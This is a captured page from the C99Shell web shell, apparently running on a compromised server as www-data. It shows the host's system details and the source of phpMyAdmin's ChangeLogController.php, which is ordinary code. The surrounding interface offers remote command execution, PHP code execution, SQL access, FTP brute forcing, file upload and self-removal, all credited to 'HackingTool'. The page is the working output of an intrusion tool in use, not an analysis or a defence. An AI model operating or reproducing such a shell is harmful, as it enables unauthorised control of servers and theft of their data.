!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.23.4. PHP/5.6.40-65+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux foro-restaurado-2 5.15.0-1040-oracle #46-Ubuntu SMP Fri Jul 14 21:47:21 UTC 2023
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/usr/share/phpmyadmin/libraries/classes/Controllers/   drwxr-xr-x
Free 83.31 GB of 96.73 GB (86.13%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ChangeLogController.php (3.52 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Simple script to set correct charset for changelog
 */

declare(strict_types=1);

namespace 
PhpMyAdmin\Controllers;

use function 
array_keys;
use function 
file_get_contents;
use function 
htmlspecialchars;
use function 
is_readable;
use function 
ob_get_clean;
use function 
ob_start;
use function 
preg_replace;
use function 
printf;
use function 
readgzfile;
use function 
substr;

class 
ChangeLogController extends AbstractController
{
    public function 
index(): void
    
{
        
$this->response->disable();
        
$this->response->getHeader()->sendHttpHeaders();

        
$filename CHANGELOG_FILE;

        
/**
         * Read changelog.
         */
        // Check if the file is available, some distributions remove these.
        
if (! @is_readable($filename)) {
            
printf(
                
__(
                    
'The %s file is not available on this system, please visit ' .
                    
'%s for more information.'
                
),
                
$filename,
                
'<a href="https://www.phpmyadmin.net/">phpmyadmin.net</a>'
            
);

            return;
        }

        
// Test if the if is in a compressed format
        
if (substr($filename, -3) === '.gz') {
            
ob_start();
            
readgzfile($filename);
            
$changelog ob_get_clean();
        } else {
            
$changelog file_get_contents($filename);
        }

        
/**
         * Whole changelog in variable.
         */
        
$changelog htmlspecialchars((string) $changelog);

        
$github_url 'https://github.com/phpmyadmin/phpmyadmin/';
        
$faq_url 'https://docs.phpmyadmin.net/en/latest/faq.html';

        
$replaces = [
            
'@(https?://[./a-zA-Z0-9.-_-]*[/a-zA-Z0-9_])@'
            
=> '<a href="url.php?url=\\1">\\1</a>',

            
// mail address
            
'/([0-9]{4}-[0-9]{2}-[0-9]{2}) (.+[^ ]) +&lt;(.*@.*)&gt;/i'
            
=> '\\1 <a href="mailto:\\3">\\2</a>',

            
// FAQ entries
            
'/FAQ ([0-9]+)\.([0-9a-z]+)/i'
            
=> '<a href="url.php?url=' $faq_url '#faq\\1-\\2">FAQ \\1.\\2</a>',

            
// GitHub issues
            
'/issue\s*#?([0-9]{4,5}) /i'
            
=> '<a href="url.php?url=' $github_url 'issues/\\1">issue #\\1</a> ',

            
// CVE/CAN entries
            
'/((CAN|CVE)-[0-9]+-[0-9]+)/'
            
=> '<a href="url.php?url=https://cve.mitre.org/cgi-bin/cvename.cgi?name=\\1">\\1</a>',

            
// PMASAentries
            
'/(PMASA-[0-9]+-[0-9]+)/'
            
=> '<a href="url.php?url=https://www.phpmyadmin.net/security/\\1/">\\1</a>',

            
// Highlight releases (with links)
            
'/([0-9]+)\.([0-9]+)\.([0-9]+)\.0 (\([0-9-]+\))/'
            
=> '<a id="\\1_\\2_\\3"></a>'
                
'<a href="url.php?url=' $github_url 'commits/RELEASE_\\1_\\2_\\3">'
                
'\\1.\\2.\\3.0 \\4</a>',
            
'/([0-9]+)\.([0-9]+)\.([0-9]+)\.([1-9][0-9]*) (\([0-9-]+\))/'
            
=> '<a id="\\1_\\2_\\3_\\4"></a>'
                
'<a href="url.php?url=' $github_url 'commits/RELEASE_\\1_\\2_\\3_\\4">'
                
'\\1.\\2.\\3.\\4 \\5</a>',

            
// Highlight releases (not linkable)
            
'/(    ### )(.*)/' => '\\1<b>\\2</b>',

            
// Links target and rel
            
'/a href="/' => 'a target="_blank" rel="noopener noreferrer" href="',

        ];

        
$this->response->header('Content-type: text/html; charset=utf-8');

        echo 
$this->template->render('changelog', [
            
'changelog' => preg_replace(array_keys($replaces), $replaces$changelog),
        ]);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by HackingTool | HackingTool | Generation time: 0.0045 ]--